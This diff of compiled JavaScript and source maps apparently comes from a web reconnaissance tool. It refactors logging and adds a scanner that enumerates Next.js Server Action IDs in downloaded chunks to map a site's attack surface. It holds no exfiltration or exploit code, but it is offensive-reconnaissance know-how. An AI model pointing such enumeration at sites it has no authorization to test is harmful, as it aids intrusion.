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"}
@@ -13,7 +13,7 @@ import fs from "fs";
13
13
  import { runWithConcurrency } from "../../utility/concurrency.js";
14
14
  const next_scriptTagsSubsequentRequests = (url_1, endpointsFile_1, ...args_1) => __awaiter(void 0, [url_1, endpointsFile_1, ...args_1], void 0, function* (url, endpointsFile, threads = 1) {
15
15
  console.log(chalk.cyan("[i] Getting JS files from subsequent requests (script tags)"));
16
- let endpoints = JSON.parse(fs.readFileSync(endpointsFile, "utf8")).paths;
16
+ const endpoints = JSON.parse(fs.readFileSync(endpointsFile, "utf8")).paths;
17
17
  endpoints.push("/");
18
18
  // Content-entropy dedup: fetch each endpoint, compute a fingerprint from its
19
19
  // script tags, and skip variants whose fingerprint has already been seen.
@@ -1 +1 @@
1
- {"version":3,"file":"next_scriptTagsSubsequentRequests.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_scriptTagsSubsequentRequests.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,gBAAgB,MAAM,uBAAuB,CAAC;AACrD,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,EAAE,kBAAkB,EAAE,MAAM,8BAA8B,CAAC;AAElE,MAAM,iCAAiC,GAAG,oCAAgE,EAAE,2EAA3D,GAAW,EAAE,aAAqB,EAAE,UAAkB,CAAC;IACpG,OAAO,CAAC,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,6DAA6D,CAAC,CAAC,CAAC;IAEvF,IAAI,SAAS,GAAG,IAAI,CAAC,KAAK,CAAC,EAAE,CAAC,YAAY,CAAC,aAAa,EAAE,MAAM,CAAC,CAAC,CAAC,KAAK,CAAC;IAEzE,SAAS,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;IAEpB,6EAA6E;IAC7E,0EAA0E;IAC1E,6EAA6E;IAC7E,6EAA6E;IAC7E,0BAA0B;IAC1B,MAAM,gBAAgB,GAAG,IAAI,GAAG,EAAU,CAAC;IAC3C,IAAI,MAAM,GAAa,EAAE,CAAC;IAE1B,MAAM,cAAc,GAAG,SAAS,CAAC,MAAM,CAAC,CAAC,QAAgB,EAAE,EAAE,CAAC,mBAAmB,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC,CAAC;IAElG,MAAM,kBAAkB,CAAC,cAAc,EAAE,OAAO,EAAE,CAAO,QAAgB,EAAE,EAAE;QACzE,IAAI,MAAc,CAAC;QACnB,IAAI,CAAC;YACD,MAAM,GAAG,IAAI,GAAG,CAAC,QAAQ,EAAE,GAAG,CAAC,CAAC,IAAI,CAAC;QACzC,CAAC;QAAC,WAAM,CAAC;YACL,OAAO;QACX,CAAC;QACD,MAAM,OAAO,GAAG,MAAM,gBAAgB,CAAC,MAAM,CAAC,CAAC;QAC/C,MAAM,EAAE,GAAG,CAAC,GAAG,IAAI,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QAClD,IAAI,EAAE,IAAI,gBAAgB,CAAC,GAAG,CAAC,EAAE,CAAC;YAAE,OAAO;QAC3C,IAAI,EAAE;YAAE,gBAAgB,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC;QACjC,MAAM,CAAC,IAAI,CAAC,GAAG,OAAO,CAAC,CAAC;IAC5B,CAAC,CAAA,CAAC,CAAC;IAEH,SAAS;IACT,MAAM,GAAG,CAAC,GAAG,IAAI,GAAG,CAAC,MAAM,CAAC,CAAC,CAAC;IAE9B,IAAI,MAAM,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QACtB,OAAO,CAAC,GAAG,CAAC,KAAK,CAAC,KAAK,CAAC,aAAa,MAAM,CAAC,MAAM,kDAAkD,CAAC,CAAC,CAAC;IAC3G,CAAC;IAED,OAAO,MAAM,CAAC;AAClB,CAAC,CAAA,CAAC;AAEF,eAAe,iCAAiC,CAAC"}
1
+ {"version":3,"file":"next_scriptTagsSubsequentRequests.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_scriptTagsSubsequentRequests.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,gBAAgB,MAAM,uBAAuB,CAAC;AACrD,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,EAAE,kBAAkB,EAAE,MAAM,8BAA8B,CAAC;AAElE,MAAM,iCAAiC,GAAG,oCAAgE,EAAE,2EAA3D,GAAW,EAAE,aAAqB,EAAE,UAAkB,CAAC;IACpG,OAAO,CAAC,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,6DAA6D,CAAC,CAAC,CAAC;IAEvF,MAAM,SAAS,GAAG,IAAI,CAAC,KAAK,CAAC,EAAE,CAAC,YAAY,CAAC,aAAa,EAAE,MAAM,CAAC,CAAC,CAAC,KAAK,CAAC;IAE3E,SAAS,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;IAEpB,6EAA6E;IAC7E,0EAA0E;IAC1E,6EAA6E;IAC7E,6EAA6E;IAC7E,0BAA0B;IAC1B,MAAM,gBAAgB,GAAG,IAAI,GAAG,EAAU,CAAC;IAC3C,IAAI,MAAM,GAAa,EAAE,CAAC;IAE1B,MAAM,cAAc,GAAG,SAAS,CAAC,MAAM,CAAC,CAAC,QAAgB,EAAE,EAAE,CAAC,mBAAmB,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC,CAAC;IAElG,MAAM,kBAAkB,CAAC,cAAc,EAAE,OAAO,EAAE,CAAO,QAAgB,EAAE,EAAE;QACzE,IAAI,MAAc,CAAC;QACnB,IAAI,CAAC;YACD,MAAM,GAAG,IAAI,GAAG,CAAC,QAAQ,EAAE,GAAG,CAAC,CAAC,IAAI,CAAC;QACzC,CAAC;QAAC,WAAM,CAAC;YACL,OAAO;QACX,CAAC;QACD,MAAM,OAAO,GAAG,MAAM,gBAAgB,CAAC,MAAM,CAAC,CAAC;QAC/C,MAAM,EAAE,GAAG,CAAC,GAAG,IAAI,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QAClD,IAAI,EAAE,IAAI,gBAAgB,CAAC,GAAG,CAAC,EAAE,CAAC;YAAE,OAAO;QAC3C,IAAI,EAAE;YAAE,gBAAgB,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC;QACjC,MAAM,CAAC,IAAI,CAAC,GAAG,OAAO,CAAC,CAAC;IAC5B,CAAC,CAAA,CAAC,CAAC;IAEH,SAAS;IACT,MAAM,GAAG,CAAC,GAAG,IAAI,GAAG,CAAC,MAAM,CAAC,CAAC,CAAC;IAE9B,IAAI,MAAM,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QACtB,OAAO,CAAC,GAAG,CAAC,KAAK,CAAC,KAAK,CAAC,aAAa,MAAM,CAAC,MAAM,kDAAkD,CAAC,CAAC,CAAC;IAC3G,CAAC;IAED,OAAO,MAAM,CAAC;AAClB,CAAC,CAAA,CAAC;AAEF,eAAe,iCAAiC,CAAC"}
@@ -0,0 +1,77 @@
1
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
2
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
3
+ return new (P || (P = Promise))(function (resolve, reject) {
4
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
5
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
6
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
7
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
8
+ });
9
+ };
10
+ import fs from "fs";
11
+ import path from "path";
12
+ /**
13
+ * Matches `createServerReference("<id>", ...)` (and its minified sequence-expression form,
14
+ * `(0, X.createServerReference)("<id>", ...)`) directly in raw chunk text. The property name
15
+ * `createServerReference` itself survives minification (it's accessed off the
16
+ * react-server-dom-webpack runtime import, not a local declaration a minifier would rename),
17
+ * which is also why `map/next_js/resolveServerActions.ts` pre-filters chunks with a substring
18
+ * check on the same string before running its AST-based resolution.
19
+ */
20
+ const ACTION_ID_CALL_PATTERN = /createServerReference\s*\)?\s*\(\s*["'`]([0-9a-f]{40,})["'`]/gi;
21
+ /**
22
+ * Extracts Server Action IDs referenced via `createServerReference(...)` in a chunk's raw
23
+ * text. Mirrors the ID-format validation in `map/next_js/resolveServerActions.ts`
24
+ * (`/^[0-9a-f]{40,}$/i`), but works on unparsed text rather than a Babel AST — a lightweight
25
+ * signal available at `lazyload` time, before `map`'s full AST-based resolution runs.
26
+ */
27
+ export const extractServerActionIds = (chunkContent) => {
28
+ const ids = [...chunkContent.matchAll(ACTION_ID_CALL_PATTERN)].map((m) => m[1].toLowerCase());
29
+ return [...new Set(ids)];
30
+ };
31
+ const walkJsFiles = (dir) => {
32
+ if (!fs.existsSync(dir))
33
+ return [];
34
+ const results = [];
35
+ for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
36
+ const fullPath = path.join(dir, entry.name);
37
+ if (entry.isDirectory()) {
38
+ results.push(...walkJsFiles(fullPath));
39
+ }
40
+ else if (entry.isFile() && fullPath.endsWith(".js")) {
41
+ results.push(fullPath);
42
+ }
43
+ }
44
+ return results;
45
+ };
46
+ /**
47
+ * Walks every downloaded `.js` chunk under `scanDir` and records any Server Action ID
48
+ * referenced in it. This is endpoint enumeration (attack-surface disclosure) only — no
49
+ * action is invoked. A discovered ID is worth cross-referencing against which pages the
50
+ * crawl could actually reach unauthenticated: an ID present in a chunk for a page the crawl
51
+ * never reached without a session is itself a disclosure signal (see
52
+ * js-recon-internal-docs#157 / CVE-2026-64643 for the historical case this generalizes).
53
+ */
54
+ const next_serverActionIdScan = (scanDir) => __awaiter(void 0, void 0, void 0, function* () {
55
+ const actionIdsByFile = {};
56
+ const allActionIds = new Set();
57
+ for (const filePath of walkJsFiles(scanDir)) {
58
+ let content;
59
+ try {
60
+ content = fs.readFileSync(filePath, "utf-8");
61
+ }
62
+ catch (_a) {
63
+ continue;
64
+ }
65
+ if (!content.includes("createServerReference"))
66
+ continue;
67
+ const ids = extractServerActionIds(content);
68
+ if (ids.length === 0)
69
+ continue;
70
+ actionIdsByFile[path.relative(scanDir, filePath)] = ids;
71
+ for (const id of ids)
72
+ allActionIds.add(id);
73
+ }
74
+ return { actionIdsByFile, allActionIds: [...allActionIds] };
75
+ });
76
+ export default next_serverActionIdScan;
77
+ //# sourceMappingURL=next_serverActionIdScan.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"next_serverActionIdScan.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_serverActionIdScan.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,IAAI,MAAM,MAAM,CAAC;AAExB;;;;;;;GAOG;AACH,MAAM,sBAAsB,GAAG,gEAAgE,CAAC;AAEhG;;;;;GAKG;AACH,MAAM,CAAC,MAAM,sBAAsB,GAAG,CAAC,YAAoB,EAAY,EAAE;IACrE,MAAM,GAAG,GAAG,CAAC,GAAG,YAAY,CAAC,QAAQ,CAAC,sBAAsB,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,WAAW,EAAE,CAAC,CAAC;IAC9F,OAAO,CAAC,GAAG,IAAI,GAAG,CAAC,GAAG,CAAC,CAAC,CAAC;AAC7B,CAAC,CAAC;AAEF,MAAM,WAAW,GAAG,CAAC,GAAW,EAAY,EAAE;IAC1C,IAAI,CAAC,EAAE,CAAC,UAAU,CAAC,GAAG,CAAC;QAAE,OAAO,EAAE,CAAC;IACnC,MAAM,OAAO,GAAa,EAAE,CAAC;IAC7B,KAAK,MAAM,KAAK,IAAI,EAAE,CAAC,WAAW,CAAC,GAAG,EAAE,EAAE,aAAa,EAAE,IAAI,EAAE,CAAC,EAAE,CAAC;QAC/D,MAAM,QAAQ,GAAG,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,KAAK,CAAC,IAAI,CAAC,CAAC;QAC5C,IAAI,KAAK,CAAC,WAAW,EAAE,EAAE,CAAC;YACtB,OAAO,CAAC,IAAI,CAAC,GAAG,WAAW,CAAC,QAAQ,CAAC,CAAC,CAAC;QAC3C,CAAC;aAAM,IAAI,KAAK,CAAC,MAAM,EAAE,IAAI,QAAQ,CAAC,QAAQ,CAAC,KAAK,CAAC,EAAE,CAAC;YACpD,OAAO,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;QAC3B,CAAC;IACL,CAAC;IACD,OAAO,OAAO,CAAC;AACnB,CAAC,CAAC;AASF;;;;;;;GAOG;AACH,MAAM,uBAAuB,GAAG,CAAO,OAAe,EAAqC,EAAE;IACzF,MAAM,eAAe,GAA6B,EAAE,CAAC;IACrD,MAAM,YAAY,GAAG,IAAI,GAAG,EAAU,CAAC;IAEvC,KAAK,MAAM,QAAQ,IAAI,WAAW,CAAC,OAAO,CAAC,EAAE,CAAC;QAC1C,IAAI,OAAe,CAAC;QACpB,IAAI,CAAC;YACD,OAAO,GAAG,EAAE,CAAC,YAAY,CAAC,QAAQ,EAAE,OAAO,CAAC,CAAC;QACjD,CAAC;QAAC,WAAM,CAAC;YACL,SAAS;QACb,CAAC;QACD,IAAI,CAAC,OAAO,CAAC,QAAQ,CAAC,uBAAuB,CAAC;YAAE,SAAS;QAEzD,MAAM,GAAG,GAAG,sBAAsB,CAAC,OAAO,CAAC,CAAC;QAC5C,IAAI,GAAG,CAAC,MAAM,KAAK,CAAC;YAAE,SAAS;QAE/B,eAAe,CAAC,IAAI,CAAC,QAAQ,CAAC,OAAO,EAAE,QAAQ,CAAC,CAAC,GAAG,GAAG,CAAC;QACxD,KAAK,MAAM,EAAE,IAAI,GAAG;YAAE,YAAY,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC;IAC/C,CAAC;IAED,OAAO,EAAE,eAAe,EAAE,YAAY,EAAE,CAAC,GAAG,YAAY,CAAC,EAAE,CAAC;AAChE,CAAC,CAAA,CAAC;AAEF,eAAe,uBAAuB,CAAC"}
@@ -13,11 +13,11 @@ import _traverse from "@babel/traverse";
13
13
  const traverse = ((_a = _traverse.default) !== null && _a !== void 0 ? _a : _traverse);
14
14
  import execFunc from "../../utility/runSandboxed.js";
15
15
  import makeRequest from "../../utility/makeReq.js";
16
- import chalk from "chalk";
17
16
  import inquirer from "inquirer";
18
17
  import t from "@babel/types";
19
18
  import resolvePath from "../../utility/resolvePath.js";
20
19
  import * as globals from "../../utility/globals.js";
20
+ import { printMsg, MSG } from "../../utility/printMsg.js";
21
21
  /**
22
22
  * Pure parser: extracts all function nodes from `jsContent` whose source code
23
23
  * ends with the pattern `".js"` followed by up to 15 characters — the signature
@@ -68,12 +68,12 @@ export const extractChunkBuilderFunctions = (jsContent) => {
68
68
  * Finds all the lazy loaded JS files from a given URL using a Nuxt.js specific approach.
69
69
  */
70
70
  const nuxt_astParse = (url) => __awaiter(void 0, void 0, void 0, function* () {
71
- let filesFound = [];
71
+ const filesFound = [];
72
72
  const resp = yield makeRequest(url, {});
73
73
  const body = yield resp.text();
74
74
  const functions = extractChunkBuilderFunctions(body);
75
75
  if (functions.length === 0) {
76
- console.error(chalk.red("[!] Error parsing JS file: ", url));
76
+ printMsg(MSG.Err, `[!] Error parsing JS file: ${url}`);
77
77
  return filesFound;
78
78
  }
79
79
  // Rebuild the full AST for later member-expression resolution.
@@ -86,13 +86,13 @@ const nuxt_astParse = (url) => __awaiter(void 0, void 0, void 0, function* () {
86
86
  });
87
87
  }
88
88
  catch (error) {
89
- console.error(chalk.red("[!] Error parsing JS file: ", url));
89
+ printMsg(MSG.Err, `[!] Error parsing JS file: ${url}`);
90
90
  return filesFound;
91
91
  }
92
92
  for (const func of functions) {
93
93
  {
94
- console.log(chalk.green(`[✓] Found JS chunk having the following source:`));
95
- console.log(chalk.yellow(func.source));
94
+ printMsg(MSG.Run, `[✓] Found JS chunk having the following source:`);
95
+ printMsg(MSG.Warn, func.source);
96
96
  let user_verified;
97
97
  if (!globals.getYes()) {
98
98
  const askCorrectFuncConfirmation = () => __awaiter(void 0, void 0, void 0, function* () {
@@ -112,10 +112,10 @@ const nuxt_astParse = (url) => __awaiter(void 0, void 0, void 0, function* () {
112
112
  user_verified = true;
113
113
  }
114
114
  if (user_verified === true) {
115
- console.log(chalk.cyan("[i] Proceeding with the selected function to fetch files"));
115
+ printMsg(MSG.Header, "[i] Proceeding with the selected function to fetch files");
116
116
  }
117
117
  else {
118
- console.error(chalk.red("[!] Not executing function."));
118
+ printMsg(MSG.Err, "[!] Not executing function.");
119
119
  continue;
120
120
  }
121
121
  // get the value of the unknown vars
@@ -125,7 +125,7 @@ const nuxt_astParse = (url) => __awaiter(void 0, void 0, void 0, function* () {
125
125
  plugins: ["jsx", "typescript"],
126
126
  errorRecovery: true,
127
127
  });
128
- let memberExpressions = [];
128
+ const memberExpressions = [];
129
129
  traverse(unknownVarAst, {
130
130
  MemberExpression(path) {
131
131
  // Only collect identifiers like f.p (not obj["x"])
@@ -162,10 +162,12 @@ const nuxt_astParse = (url) => __awaiter(void 0, void 0, void 0, function* () {
162
162
  },
163
163
  });
164
164
  // replace the unknown var with the value
165
- const funcSource = func.source.replace(new RegExp(`${unknownVar[0]}.${unknownVar[1]}`), `"${unknownVarValue}"`);
165
+ const funcSource = func.source.replace(
166
+ // eslint-disable-next-line security/detect-non-literal-regexp -- unknownVar values are AST-derived identifier/property names, which cannot contain regex metacharacters
167
+ new RegExp(`${unknownVar[0]}.${unknownVar[1]}`), `"${unknownVarValue}"`);
166
168
  // continue to executing the function with all possible numbers
167
169
  const urlBuilderFunc = `(() => (${funcSource}))()`;
168
- let js_paths = [];
170
+ const js_paths = [];
169
171
  try {
170
172
  // rather than fuzzing, grep the integers from the func code
171
173
  const integers = funcSource.match(/\d+/g);
@@ -184,7 +186,7 @@ const nuxt_astParse = (url) => __awaiter(void 0, void 0, void 0, function* () {
184
186
  }
185
187
  }
186
188
  catch (error) {
187
- console.error(chalk.red("[!] Error executing function: ", error));
189
+ printMsg(MSG.Err, `[!] Error executing function: ${error}`);
188
190
  }
189
191
  if (js_paths.length > 0) {
190
192
  // iterate through the files, and resolve them
@@ -196,7 +198,7 @@ const nuxt_astParse = (url) => __awaiter(void 0, void 0, void 0, function* () {
196
198
  }
197
199
  }
198
200
  if (filesFound.length > 0) {
199
- console.log(chalk.green(`[✓] Found ${filesFound.length} JS chunks`));
201
+ printMsg(MSG.Run, `[✓] Found ${filesFound.length} JS chunks`);
200
202
  }
201
203
  return filesFound;
202
204
  });
@@ -1 +1 @@
1
- {"version":3,"file":"nuxt_astParse.js","sourceRoot":"","sources":["../../../src/lazyLoad/nuxt_js/nuxt_astParse.ts"],"names":[],"mappings":"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